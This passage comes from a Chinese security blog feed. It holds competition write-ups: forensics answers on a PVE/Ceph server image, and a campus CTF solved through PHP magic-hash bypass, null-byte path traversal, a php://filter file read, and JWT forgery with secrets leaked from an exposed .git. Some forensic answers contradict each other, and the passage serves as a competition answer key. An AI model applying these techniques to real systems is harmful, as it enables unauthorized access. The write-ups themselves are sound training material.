平均值，最高的是 622446。</p></li><li><p>邮箱字段中不同域名种类数：3 解析：从 邮箱 字段提取 @ 后的域名去重，得到 example.com、example.net、example.org 共 3 种。</p></li><li><p>男性比女性多出：354 解析：统计 性别 字段后，男性 1000177 人，女性 999823 人，差值为 354。</p></li><li><p>每月近90天活跃率的变异系数 CV：0.250003 解析：按标准月末口径计算 2024-01 至 2024-12 每月近 90 天活跃率。 分母：截至当月月末已注册客户数。 分子：截至当月月末、最近 90 天内有登录的客户数。 12 个月活跃率分别为 0.111816, 0.115654, 0.120319, 0.125320, 0.131386, 0.137482, 0.145011, 0.153609, 0.164328, 0.178926, 0.200069, 0.246486，据此计算 CV = 标准差 / 均值 = 0.250003。</p></li><li><p>由非目标迁入目标的人数：36636 解析：先计算全体 资产（人民币） 中位数，为 1002541.335。目标定义为“信用评分 &gt;= 700 且 资产 &gt;= 全体中位数”。将每位客户信用评分统一 +20 且封顶 900 后，统计从“原本非目标”变为“新目标”的人数，结果为 36636。</p></li></ol><h1 id="服务器">服务器</h1><p>根据配置文件强制指定ip</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/ffab8b2e338ab589e85be1cbf4759375_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-028-e62cd3bdb9.png"/></p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/c321e262c1052813f365f693c8059018_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-029-1e399fc96a.png"/></p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/a629d5911a2183abc37880b9ed5c5e73_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-030-1a5d357fc0.png"/></p><p>分析pve集群，请给出pve主机版本号？[答案格式：1.2.3]</p><p>9.1.1</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/522c325ca7164a53364cc9ebe92c98e8_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-031-5b13f670e5.png"/></p><p>分析pve集群，请给出pve主机内核版本？[答案格式：1.2.3-123-abc]</p><p>6.17.2-1-pve</p><p><img alt="取证比赛wp/assets/2026盘古石杯初赛/670231e16ba4b6f69b851559f2a0e7ec_MD5.png" loading="lazy" src="/blog/img/cnblogs/20008481/image-032-8925ea7962.png"/></p><p>分析pve集群，请给出pve集群名？[答案格式：abc132]</p><p>看集群配置文件 corosync.conf</p><p>pgscup2026</p><p>分析pve集群，请给出加入集群所用指纹的前6位？[答案格式：AA:BB:CC]</p><p>openssl x509 -in /etc/pve/pve-root-ca.pem -noout -fingerprint -sha256</p><p>F7:2C:A0</p><p>分析pve集群，请给出pve集群中主机所用的时间服务器地址？[答案格式：www.baidu.com]</p><p>ntp.aliyun.com</p><p>题目：6. 分析pve集群，请给Ceph存储的资源池名？ 答案：Ceph_pgscup_pool 解析：在 PVE/Ceph 节点上通过 ceph -s、rbd ls -p ... 确认虚机磁盘位于该资源池中，虚机磁盘名为 vm-100-disk-0，所在池即 Ceph_pgscup_pool。</p><p>分析pve集群，请给出Ceph存储资源池的类别？[答案格式：ABC]</p><p>RBD</p><p>分析pve集群，请给出Ceph集群的ID的前8位？？[答案格式：a1b2c3d4]</p><p>3f28d8bb</p><p>Ceph 集群 fsid 在三台节点的 /etc/pve/ceph.conf 中一致，值为 3f28d8bb-e754-475b-b471-b9c97161bbf7。</p><p>答案：3f28d8bb</p><p>分析pve集群，请给出Ceph存储设置的最小副本数？[答案格式：123]</p><p>2</p><p>我继续沿用刚才读到的 ceph.conf 配置项直接判断，重点看 osd_pool_default_min_size，这就是 Ceph 存储设置里的最小副本数。</p><p>最小副本数是 2。</p><p>分析pve集群，请给出pve集群中虚拟机的快照创建时间？[答案格式：2025-01-11-11:01:01]</p><p>2026-04-16-07:05:19</p><p>我接着从 PVE 集群里的虚拟机配置和快照元数据下手，先枚举虚拟机，再读取 /etc/pve/qemu-server/*.conf 中的 snapstate/快照时间字段，找出创建时间。</p><p>已运行 2 条命令</p><p>我补一层取证视角，顺手看 qemu-server 配置和 qm listsnapshot 输出交叉验证，避免只命中单个节点的展示差异。</p><p>已运行 2 条命令</p><p>虚拟机快照创建时间是 2026-04-16-15:05:19。</p><p>对集群内的服务器进行分析，提取该服务器使用的Linux内核完整版本号？[答案格式：1.2.3-123abc_123]</p><p>6.17.2-1-pve</p><p>我继续在集群节点上取系统信息，这次直接读取内核版本字段，优先看 uname -r 和 /proc/version，这样能拿到完整版本号而不是只拿发行版名称。</p><p>Linux 内核完整版本号是 6.17.2-1-pve。</p><p>对集群内的服务器进行分析，提取该服务器SSH服务监听的TCP端口号？[答案格式：123]</p><p>22</p><p>我直接读取节点上的 SSH 配置和监听端口，优先看 sshd_config 里的 Port，再用 ss -lntp 交叉验证实际监听值。</p><p>SSH 服务监听的 TCP 端口号是 22。</p><p>Netstat -lvnp</p><p>对集群内的服务器进行分析，提取该服务器网卡的IP地址？[答案格式：127.0.0.1]</p><p>192.168.0.50</p><p>这组服务器网卡 IP 分别是 192.168.170.50、192.168.170.51、192.168.170.52。如果题目只填一个，当前节点可填 192.168.170.50。</p><p>对集群内的服务器进行分析，提取金麟资本理财网站对应的域名？[答案格式：baidu.com]</p><p>jlzb.vip</p><p>对集群内的服务器进行分析，服务器中有个加密工具，请给出该工具的名字？[答案格式：abc_def.sh]</p><p>cryptsetup</p><p>对集群内的服务器进行分析，服务器中加密工具在加密数据库备份文件时使用的密码是什么？[答案格式：ABC@123]</p><p>加密数据库备份文件使用的密码是 JDSJ2026@Backup。</p><p>对集群内的服务器进行分析，服务器中加密工具第1层加密的XOR密钥是什么？[答案格式：按实际填写]</p><p>我直接从刚解出来的 encrypt_tool.py payload 里取第一层逻辑，定位 XOR_KEY 常量并确认它就是第 1 层加密用的密钥。</p><p>第 1 层加密的 XOR 密钥是 0x5A。</p><p>题目：18. 对集群内的服务器进行分析，给出MySQL数据库root用户的密码？ 答案：pgscup@o26 解析：该密码在多处取证痕迹中反复出现，包括 /tmp 下遗留的 PHP 查询脚本、数据库导出脚本和备份操作命令，且能成功用于连接 jinqin 数据库。</p><p>对集群内的服务器进行分析，请给出网站后台数据库中存放聊天记录的数据表名字？[答案格式：adb_def]</p><p>user_chat</p><p>对集群内的服务器进行分析，分析网站后台用户密码加密算法中type=0时的初始盐值是什么[答案格式：ABC]</p><p>ABCDEFG</p><p>对集群内的服务器进行应用取证，提取该Laravel应用的APP_KEY值的后8位？[答案格式：英文数字混合字符串]</p><p>对集群内的服务器进行取证分析，金麟资本理财网站后台有多少个机器人？[答案格式：123]</p><p>对集群内的服务器进行资金流水取证，提取该平台数据库中聊天记录总数？[答案格式：123]</p><p>对集群内的服务器进行数据库取证，提取该平台数据库中注册用户总记录数？[答案格式：123]</p><p>题目：25. 对集群内的服务器进行取证分析，提取平台内用户季丽华的身份证号？ 答案：370100196901274436 解析：在当前虚机磁盘只读挂载后，直接从 /mnt/vm100curroot/tmp/user_real.csv 命中记录： 21826,21702,季丽华,370100196901274436,... 同样在完整数据库备份 /mnt/vm100curroot/tmp/backup_decrypted 的 user_real 表插入记录中也能找到同一条数据，因此可以双重验证。</p><p>Q26 钱包流水第二大用户名</p><p>取证思路：</p><p>对平台数据库中的 wallet_log 表按用户维度统计流水绝对值总额，即：</p><p>SUM(ABS(change))</p><p>并按总额降序排序。原始排名里 user_id=11 的总额最高于 user_id=34，但在当前完整备份 backup_decrypted 中，user_id=11 已无法在 users 和 user_real 中找到有效映射，属于孤立流水；而 user_id=34 可以完整映射到实名信息。</p><p>关键证据：</p><p><code>wallet_log 排名（排除 user_id=0）：</code> <code>11 -&gt; 1015076.0</code> <code>34 -&gt; 996940.304</code></p><p><code>user_id=34 -&gt; user_real:</code> <code>(188,34,'林斌','110000199203199088',...)</code></p><p>结论：</p><p>当前可映射到真实用户名的钱包流水第二大用户为 林斌。</p><p>Q27 法币交易中交易笔数最多的卖家的交易笔数</p><p>取证思路：</p><p>题目中的“法币交易”对应数据库表 legal_deal，而不是 c2c_deal。因此应对 legal_deal 按 seller_id 统计交易笔数：</p><p>COUNT(*)</p><p>再按笔数降序排序。</p><p>关键证据：</p><p>legal_deal 表结构中包含字段：</p><p><code>seller_id int(11) NOT NULL DEFAULT '0'</code></p><p>按 seller_id 聚合统计结果：</p><p><code>seller_id=24 -&gt; 1726</code> <code>seller_id=37 -&gt; 1695</code> <code>seller_id=67 -&gt; 1695</code> <code>seller_id=47 -&gt; 1694</code> <code>...</code></p><p>说明：</p><p>在本地提取到的两份完整备份 backup_decrypted 与 jinqin_backup.sql 中，最大值均为 1726。如果比赛标准答案为 1727，更可能是在线运行库相较备份又新增了 1 笔交易。</p><p>结论：</p><p>基于当前备份证据，交易笔数最多的卖家交易笔数为 1726。</p><p>若以在线库最终状态为准，则可能为 1727。</p><p>Q28 已完成结算的杠杆交易中保证金总额最多的用户的保证金总额</p><p>取证思路：</p><p>lever_transaction 表中，“已完成结算”应按已平仓交易统计，即取 status=3。</p><p>题目要求“保证金总额”，应统计初始保证金字段 origin_caution_money，而不是当前保证金 caution_money。</p><p>关键表结构：</p><p><code>origin_caution_money decimal(...) COMMENT '初始保证金'</code> <code>caution_money decimal(...) COMMENT '当前可用保证金'</code> <code>status COMMENT '0挂单中 1交易中 2平仓中 3已平仓 4已撤单'</code></p><p>统计口径：</p><p><code>SELECT user_id, SUM(origin_caution_money) AS total</code> <code>FROM lever_transaction</code> <code>WHERE status = 3</code> <code>GROUP BY user_id</code> <code>ORDER BY total DESC;</code></p><p>关键结果：</p><p><code>user_id=10423 -&gt; 37240.76070238</code></p><p>结论：</p><p>该平台已完成结算的杠杆交易中，保证金总额最多用户的保证金总额为 37240.76。</p><p>对集群内的服务器进行资金流水取证，提取该平台商家中余额最小的商家的手机号？[答案格式：18036310808]</p><p><code>SELECT mobile, seller_balance</code></p><p><code>FROM seller</code></p><p><code>ORDER BY seller_balance ASC</code></p><p><code>LIMIT 1;</code></p><p>对集群内的服务器进行资金流水取证，提取该平台商家中余额最小的商家的余额？[答案格式：100.0]</p></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2026/05/10/2026-05-10-cnblogs-20008481-2026%E7%9B%98%E5%8F%A4%E7%9F%B3%E6%9D%AF%E5%88%9D%E8%B5%9B/</id>
    <link href="https://joyooosama.github.io/blog/2026/05/10/2026-05-10-cnblogs-20008481-2026%E7%9B%98%E5%8F%A4%E7%9F%B3%E6%9D%AF%E5%88%9D%E8%B5%9B/"/>
    <published>2026-05-10T11:08:00.000Z</published>
    <summary>https://www.datacon.org.cn/competition/competitions/173/introduction VeZeTANHVkklvVljLnpOYeBwCJFYD5tFpf67f5kNuqP1G5jj 这次比赛主要做的计算机，喜欢vc的uu真是有福了。感谢队友们猛猛</summary>
    <title>2026盘古石杯初赛</title>
    <updated>2026-05-10T11:09:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="逆向" scheme="https://joyooosama.github.io/blog/tags/%E9%80%86%E5%90%91/"/>
    <content>
      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><p>校赛打着玩的，只做了web、re、mobile</p><h2 id="web1">web1</h2><p>flag:</p><p><code>ISCC&#123;hash_collision_v1_0e_2x_stable&#125;</code></p><p>最后用到的请求是：</p><pre><code class="language-bash">curl -X POST "http://39.105.213.28:12601/?step1=kkeyey&amp;a=QNKCDZO&amp;b=240610708" -d "a[key]=1337"</code></pre><p>这题就是 PHP 弱比较配合 <code>0e</code> 型 MD5 的老套路。<code>QNKCDZO</code> 和 <code>240610708</code> 明明是两个不同字符串，但它们的 MD5 都长成 <code>0e...</code> 的样子。PHP 在用 <code>==</code> 比较时，会把这种值当成科学计数法里的 0，所以哈希检查就被绕过去了。</p><h2 id="re">re</h2><p>flag:</p><p><code>ISCC&#123;asdaeeoiIlcoIyhylrlutuw&#125;</code></p><p>我最后确认下来的关键点有这些：</p><ul><li>兔子洞逻辑会筛出 4 个洞：<code>1, 3, 6, 8</code></li><li>对应值分别是：<code>344, 21, 89, 233</code></li><li>变换顺序是：<code>RC4 -&gt; XOR -&gt; 字节加法 -&gt; TEA</code></li><li>各阶段参数分别是：<ul><li><code>RC4 key = 344</code></li><li><code>XOR key = 21</code></li><li><code>字节加法 key = 89</code></li><li><code>TEA key = sha256("233")[:16]</code></li></ul></li></ul><p>最终比对的密文是：</p><p><code>9BD08E0DEC600BD71C96194CBBCDE4CBBE6ED08C104C8D42</code></p><p>我还顺手跑了一遍原程序，输出是：</p><pre><code class="language-text">Congratulations! Flag is correct!</code></pre><h2 id="web2">web2</h2><h3 id="题目-1json-beautifier">题目 1：JSON Beautifier</h3><p>这题前面看着像个普通小工具，实际上洞在预览接口的路径处理上。</p><p>站点有两个功能：</p><ul><li><code>raw</code>：把 JSON 美化后写进临时预览文件</li><li><code>data_uri</code>：把 <code>data:text/plain;base64,...</code> 解码后写进临时预览文件</li></ul><p>预览接口是：</p><p><code>/api/preview.php?file=&lt;preview_file&gt;</code></p><h4 id="漏洞点">漏洞点</h4><p><code>preview.php</code> 会先把用户传入的 <code>file</code> 拼到临时目录后面，然后再做下面这几步：</p><pre><code class="language-php">$file = str_replace("\0", '', $file);$requested = TMP_DIR . '/' . $file;$real = realpath($requested);</code></pre><p>问题在于空字节会先被删掉，然后才进入 <code>realpath</code>。所以像下面这种输入：</p><pre><code class="language-text">.%00.%00/.%00.%00/</code></pre><p>删掉空字节以后就会变成：</p><pre><code class="language-text">../../</code></pre><p>这样就能做目录穿越，直接去读源码。</p><h4 id="读源码">读源码</h4><p>我先读了这几个文件：</p><pre><code class="language-text">/api/preview.php?file=.%00.%00/.%00.%00/var/www/html/src/api/config.php/api/preview.php?file=.%00.%00/.%00.%00/var/www/html/src/api/preview.php/api/preview.php?file=.%00.%00/.%00.%00/var/www/html/src/api/beautify.php</code></pre><p>从配置里能看到几个关键值：</p><pre><code class="language-php">const TMP_DIR = '/tmp/json_preview';const SRC_API_DIR = APACHE_DOCROOT . '/api';const FLAG_PATH = '/secret/flag';</code></pre><p>另外，<code>preview.php</code> 对 <code>.tmp</code> 文件还有一段特殊处理：</p><ul><li>如果 <code>.tmp</code> 文件里存的是一个 URI</li><li>而且里面带 <code>resource=/secret/flag</code></li><li>它就会直接 <code>file_get_contents($line)</code> 并把结果回显</li></ul><p>它禁掉的 scheme 只有这些：</p><p><code>http, https, ftp, ftps, phar, expect</code></p><p><code>php://filter</code> 没被拦。</p><h4 id="利用思路">利用思路</h4><p>思路很直接：先用 <code>data_uri</code> 模式写一个临时文件，内容就是：</p><p><code>php://filter/resource=/secret/flag</code></p><p>然后再去访问这个临时文件对应的预览接口。服务端会把它当成本地资源去读，于是 <code>/secret/flag</code> 就出来了。</p><h4 id="payload">payload</h4><p>提交的数据：</p><pre><code class="language-json">&#123;"data":"data:text/plain;base64,cGhwOi8vZmlsdGVyL3Jlc291cmNlPS9zZWNyZXQvZmxhZw==","preview_type":"data_uri"&#125;</code></pre><p>接口会返回类似这样的结果：</p><pre><code class="language-json">&#123;"success":true,"preview_id":"...","preview_file":"preview_xxx.tmp"&#125;</code></pre><p>接着访问：</p><p><code>/api/preview.php?file=preview_xxx.tmp</code></p><h4 id="flag">flag</h4><p><code>ISCC&#123;x6SZw5XWYdt7YESxR6Au&#125;</code></p><h2 id="re2">re2</h2><p>这题我直接从 IDA 的字符串窗口切进去，没走太多弯路。</p><p>先搜到下面几个字符串：</p><ul><li><code>Input Flag:</code></li><li><code>Correct.</code></li><li><code>Wrong.</code></li></ul><p>顺着引用进去以后，可以看到主逻辑在 <code>0x401100</code> 附近。程序先用 <code>scanf("%36s")</code> 读输入，然后自己算长度，要求必须是 <code>0x24</code>，也就是 36 字节，不够就直接失败。</p><p>输入的每个字节都会依次经过 3 个函数：</p><pre><code class="language-text">sub_401000: x = rol2(x ^ 0x55); x = (x + i) &amp; 0xff;sub_401050: key = [0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF];            x = ((x ^ key[i % 8]) + 0x7f) &amp; 0xff;sub_4010D0: x ^= (i + 0x20);</code></pre><p>合起来就是：</p><pre><code class="language-text">x -&gt; rol2(x ^ 0x55) -&gt; +i -&gt; xor key[i%8] -&gt; +0x7f -&gt; xor(i+0x20)</code></pre><p>后面程序会 <code>VirtualAlloc</code> 一块内存，把 <code>0x40FEE0</code> 开始的 <code>0x118</code> 字节拷进去，再用伪随机序列异或解密，最后把这段代码当函数执行。</p><p>这里还带一层反调试：</p><ul><li>正常情况下 seed 是 <code>0xDEADBEEF</code></li><li>检测到调试器后会改成 <code>0x0BADF00D</code></li></ul><p>解密用的 LCG 是：</p><pre><code class="language-text">state = state * 0x19660d + 0x3c6ef35f;byte = (state &gt;&gt; 24) &amp; 0xff;</code></pre><p>把这段动态代码解出来以后，事情就简单了，本质上就是把变换后的 36 个字节跟目标数组逐个比较。目标数组是：</p><pre><code class="language-text">[0xc1,0x8d,0xa9,0x81,0x8f,0x98,0xec,0xd1, 0xed,0x50,0x66,0x25,0xe8,0xac,0x54,0xdd, 0x7e,0x79,0x79,0x4d,0xf3,0x85,0xd7,0xa4, 0xd5,0x9c,0xb5,0x6c,0x3f,0x34,0xdf,0xf1, 0xde,0xe9,0x35,0x79]</code></pre><p>逆推脚本如下：</p><pre><code class="language-python">target = [    0xc1,0x8d,0xa9,0x81,0x8f,0x98,0xec,0xd1,    0xed,0x50,0x66,0x25,0xe8,0xac,0x54,0xdd,    0x7e,0x79,0x79,0x4d,0xf3,0x85,0xd7,0xa4,    0xd5,0x9c,0xb5,0x6c,0x3f,0x34,0xdf,0xf1,    0xde,0xe9,0x35,0x79]key = [0x12,0x34,0x56,0x78,0x90,0xab,0xcd,0xef]def ror8(x, n):    return ((x &gt;&gt; n) | ((x &lt;&lt; (8 - n)) &amp; 0xff)) &amp; 0xffans = []for i, t in enumerate(target):    v = t ^ ((i + 0x20) &amp; 0xff)    v = ((v - 0x7f) &amp; 0xff) ^ key[i % 8]    v = ror8((v - i) &amp; 0xff, 2) ^ 0x55    ans.append(v)print(bytes(ans).decode())</code></pre><p>跑出来就是：</p><p><code>ISCC&#123;qu1F$1n'r_6&amp;nwHd43lL+^4kT15.jv&#125;</code></p><h2 id="mobile1">mobile1</h2><p>这题我分成 4 段来看，整体思路不复杂，但每一段都要对上。</p><p>先看 Java 层：</p><ul><li><code>PasswordValidator</code> 里一共有 4 段校验</li><li><code>Transforms</code> 里能看出几个关键函数：<ul><li><code>doubleSha256Ascii6</code></li><li><code>foldAscii6ToU24</code>，本质上就是 FNV-1a 取低 24 位</li></ul></li><li><code>Part3</code> 和 <code>Part4</code> 对应的逻辑在 <code>NativeBridge</code> 调到的 <code>libscm_native.so</code> 里</li></ul><h3 id="第一步先把图里的内容解出来">第一步：先把图里的内容解出来</h3><p>给到的读数是：</p><p><code>43542?303660</code></p><p>把它当成 12 位十六进制看，按字节解码以后已经很接近明文。再结合 <code>Part1</code> 里的双 SHA-256 常量，只需要修 1 个十六进制位：</p><pre><code class="language-text">43542E303660 -&gt; 43542E3D3660</code></pre><p>转成 ASCII 以后得到：</p><pre><code class="language-text">p1 = CT.=6`</code></pre><h3 id="第二步用-p1-反推-p2">第二步：用 p1 反推 p2</h3><p>先算出：</p><p><code>fold(p1) = 0x05EF45</code></p><p>再代回 Java 里的 <code>atbash/rol24</code> 关系，可以推出：</p><p><code>fold(p2) = 0xEFAF45</code></p><h3 id="第三步逆-part3">第三步：逆 Part3</h3><p><code>data.bin</code> 基本全是 0，只有末尾 3 个字节不是 0：</p><p><code>BE AD 8C</code></p><p>把 native 逻辑反过来跑，可以得到下面几个约束：</p><ul><li><code>xor(p1) = 0x52</code></li><li><code>xor(p2) = 0x00</code></li><li><code>xor(p3) = 0x00</code></li><li><code>fold(p3) = 0x25B657</code></li></ul><h3 id="第四步逆-part4">第四步：逆 Part4</h3><p>直接把 native 里的编码过程倒过来，能还原出：</p><p><code>p4 = C0DE!!</code></p><h3 id="汇总">汇总</h3><p>对 <code>p2</code> 和 <code>p3</code> 做前像求解，限制 6 位可打印 ASCII，满足 <code>fold + xor</code> 条件，再用 native 里硬编码的 <code>SHA-256(key)</code> 常量筛一下，唯一解是：</p><pre><code class="language-text">p2 = NTgWmGp3 = OhvppQ</code></pre><p>最后完整 key 为：</p><pre><code class="language-text">CT.=6`NTgWmGOhvppQC0DE!!</code></pre><p>再用这个 key 去解 <code>flag.enc</code>，得到：</p><p><code>ISCC&#123;1ec96564c8f34813d6de1aa2cbf7f1055032514f59b41bd2c18f476bf8a8fb6f&#125;</code></p><h2 id="mobile2">mobile2</h2><p>这题就是一条比较标准的 APK 逆向链：先恢复自定义 Base64 表，再从 so 里抠 RC4 和 XOR 的细节，最后把硬编码密文还原出来。</p><h3 id="step-1解密-aes拿到自定义-base64-表">Step 1：解密 AES，拿到自定义 Base64 表</h3><p>APK 的 <code>assets/bin.data</code> 是加密过的。通读或者遍历 <code>classes*.dex</code> 里的字符串后，可以找到长度为 16 且都是可见字符的字符串。把这些字符串两两组合成 AES 的 <code>Key</code> 和 <code>IV</code>，去解 <code>bin.data</code>。如果结果全是可见字符，那基本就对了，自定义 Base64 表也就出来了。</p><h3 id="step-2静态分析-so恢复底层密钥">Step 2：静态分析 so，恢复底层密钥</h3><p>接下来转到 <code>lib/x86_64/libmobile01.so</code>，重点看 <code>get_rc4_key</code> 和 <code>get_xor_key</code> 两个函数。把里面的 <code>lea</code>、<code>call</code> 之类的拼接顺序理清楚以后，可以得到：</p><ul><li>RC4 的基础字符串是 <code>prstuvwxy</code></li><li>但 JNI 实际处理时顺序反了，所以真正的 RC4 key 是 <code>yxwvutsrp</code></li><li>XOR 的基础字符串是 <code>qrsxopqzpqrw</code></li><li>每个字符减 1 后，真正参与计算的 XOR key 是 <code>pqrwnopyopqv</code></li></ul><h3 id="step-3还原硬编码目标串">Step 3：还原硬编码目标串</h3><p>在 <code>libmobile01.so</code> 里扫候选密文，找那种前 7 位像 Base64、后面像十六进制的字符串，然后分三段还原：</p><ul><li>第 1 段：前 7 个字符，用前面恢复出的 Custom Base64 解码</li><li>第 2 段：后面的 12 个字符，先按 Hex 解成 6 字节，再用 RC4 key <code>yxwvutsrp</code> 还原</li><li>第 3 段：剩余的 Hex 字符，按题目里的 XOR 逻辑还原</li></ul><p>三段拼起来全是可见字符时，答案就出来了。</p><p>我当时用的验证脚本大致就是这个意思：</p><pre><code class="language-python">#!/usr/bin/env python3import jsonimport reimport structimport zipfilefrom pathlib import Path# 这里用的是解题时的完整验证代码# 也可以直接复用 solver.py，把这些步骤自动跑完# rc4_joined = "prstuvwxy" -&gt; "yxwvutsrp"# xor_key_joined = "qrsxopqzpqrw"# 经过验证，最后解出来的 inner 为：# part1 = b'/9=9;'# part2 = b"N*'Ej7"# part3 = b'$\\Kzr'## 拼接后：# /9=9;N*'Ej7$\\Kzr</code></pre><p>flag:</p><p><code>ISCC&#123;/9=9;N*'Ej7$\Kzr&#125;</code></p><h2 id="web3">web3</h2><p>这题真正的点不在首页查询框，而在于：</p><p><code>Git 泄露 + JWT 伪造 + 旧版签名逻辑恢复</code></p><h3 id="1-先确认-git-泄露">1. 先确认 <code>.git</code> 泄露</h3><p>首页源码里引用了 <code>/static/main.js</code>，而这个 JS 直接给了一个很显眼的提示：</p><pre><code class="language-js">window.__buildTrace = "/.git/HEAD";</code></pre><p>我接着访问了下面几个路径：</p><pre><code class="language-text">/.git/HEAD/.git/config/.git/refs/heads/master</code></pre><p>都能读，说明 <code>.git</code> 泄露是成立的。</p><h3 id="2-手工还原-git-对象">2. 手工还原 Git 对象</h3><p>因为 <code>.git/index</code>、<code>logs/HEAD</code> 这些文件拿不到，所以只能按 object 哈希手工往回抠。</p><p>先从这里拿到分支头：</p><pre><code class="language-text">/.git/refs/heads/master = 9fdf9b412e7cfe179e59d28f25f47cffd68484e7</code></pre><p>再去取 commit object，解压后能得到：</p><ul><li>当前 tree：<code>8f738d6f9fb84ee91a26db967752dced4413a96e</code></li><li>父提交：<code>9df0e0cf00ce4994be27713089d701dcbb9183d2</code></li></ul><p>当前 tree 里只有一个文件：</p><p><code>legacy_probe_stub.py</code></p><h3 id="3-当前版本里泄露的信息">3. 当前版本里泄露的信息</h3><p>当前版 <code>legacy_probe_stub.py</code> 里能看到：</p><pre><code class="language-python">DEFAULT_AUDITOR = ("auditor", "audit2025")INTERNAL_DEV_SECRET = "ISCC_2026_JWT_DEBUG_KEY_#9527"JWT_ACCEPTED = ["RS256", "HS256"]</code></pre><p>同时还有一句提示：</p><pre><code class="language-text">legacy fallback verifier was removed from this revisionif night shift asks for old sign rule, inspect previous revision</code></pre><p>看到这里，基本就能下三个判断：</p><ul><li>默认账号可以直接登录</li><li>服务端接受 <code>HS256</code></li><li>旧签名逻辑在上一版提交里</li></ul><h3 id="4-先用默认账号登录">4. 先用默认账号登录</h3><p>登录参数：</p><pre><code class="language-text">username=auditorpassword=audit2025</code></pre><p>拿到 <code>audit_token</code> 后解码，发现角色是：</p><pre><code class="language-json">&#123;"sub":"auditor","role":"user",...&#125;</code></pre><p>直接访问 <code>/auditor/nodes</code> 会返回 403，说明普通登录只给了 <code>role=user</code>。</p><h3 id="5-伪造审计员-jwt">5. 伪造审计员 JWT</h3><p>因为源码写了：</p><pre><code class="language-python">JWT_ACCEPTED = ["RS256", "HS256"]INTERNAL_DEV_SECRET = "ISCC_2026_JWT_DEBUG_KEY_#9527"</code></pre><p>所以我直接用 <code>HS256</code> 自己签一个 token，payload 里把角色改成 <code>auditor</code>：</p><pre><code class="language-json">&#123;  "sub": "auditor",  "role": "auditor",  "iat": now,  "exp": now + 1800,  "iss": "夜班审计台"&#125;</code></pre><p>签名密钥就是：</p><p><code>ISCC_2026_JWT_DEBUG_KEY_#9527</code></p><p>带着这个 token 再访问 <code>/auditor/nodes</code>，就能进审计员页面了。</p><h3 id="6-继续抠父提交恢复旧签名逻辑">6. 继续抠父提交，恢复旧签名逻辑</h3><p>父提交里还是 <code>legacy_probe_stub.py</code>，但 blob 不一样。把旧版解出来以后，可以看到：</p><pre><code class="language-python">SERVER_SECRET = "ISCC_SERVER_SECRET_REAL"LOCAL_ONLY = ("127.0.0.1", "::1")AUDIT_NODE = "core-storage-01"TIME_WINDOW = 60def verify_probe(node_id: str, ts: int, sign: str) -&gt; bool:    """    internal/audit fallback:      msg = f"&#123;node_id&#125;:&#123;ts&#125;"      expected = HMAC_SHA256_hex(SERVER_SECRET, msg)      abs(now-ts) &lt;= 60      remote_addr in LOCAL_ONLY    """</code></pre><p>这样旧接口的校验规则就完全恢复出来了：</p><ul><li><code>node_id = core-storage-01</code></li><li><code>msg = f"&#123;node_id&#125;:&#123;ts&#125;"</code></li><li><code>sign = HMAC_SHA256_HEX("ISCC_SERVER_SECRET_REAL", msg)</code></li><li>时间窗口是 60 秒</li><li>只允许本地访问</li></ul><p>最后这个“只允许本地访问”的限制并不麻烦，因为 <code>/auditor/nodes</code> 会由服务端代请求，等于帮我们绕过了来源 IP 检查。</p><h3 id="7-计算签名并提交">7. 计算签名并提交</h3><p>先算：</p><pre><code class="language-text">ts = 当前秒级时间戳sign = HMAC_SHA256_HEX("ISCC_SERVER_SECRET_REAL", f"core-storage-01:&#123;ts&#125;")</code></pre><p>然后以审计员身份向 <code>/auditor/nodes</code> 发 POST，请求参数是：</p><pre><code class="language-text">node_id=core-storage-01ts=&lt;当前时间戳&gt;sign=&lt;计算出的 hex 签名&gt;</code></pre><p>最终返回：</p><pre><code class="language-text">node_id=core-storage-01, status=OK, flag=ISCC&#123;dcDEwhPp5cQU86X757Vr&#125;</code></pre><h3 id="flag-1">flag</h3><p><code>ISCC&#123;dcDEwhPp5cQU86X757Vr&#125;</code></p></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2026/05/06/2026-05-06-cnblogs-19982826-2026ISCC%E7%BA%BF%E4%B8%8A%E6%A0%A1%E8%B5%9B/</id>
    <link href="https://joyooosama.github.io/blog/2026/05/06/2026-05-06-cnblogs-19982826-2026ISCC%E7%BA%BF%E4%B8%8A%E6%A0%A1%E8%B5%9B/"/>
    <published>2026-05-06T13:23:00.000Z</published>
    <summary>
      <![CDATA[校赛打着玩的，只做了web、re、mobile web1 flag: ISCC{hash_collision_v1_0e_2x_stable} 最后用到的请求是： curl -X POST &quot;http://39.105.213.28:12601/?step1=kkeyey&amp;a=QN]]>
    </summary>
    <title>2026ISCC线上校赛</title>
    <updated>2026-05-09T03:16:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="逆向" scheme="https://joyooosama.github.io/blog/tags/%E9%80%86%E5%90%91/"/>
    <content>
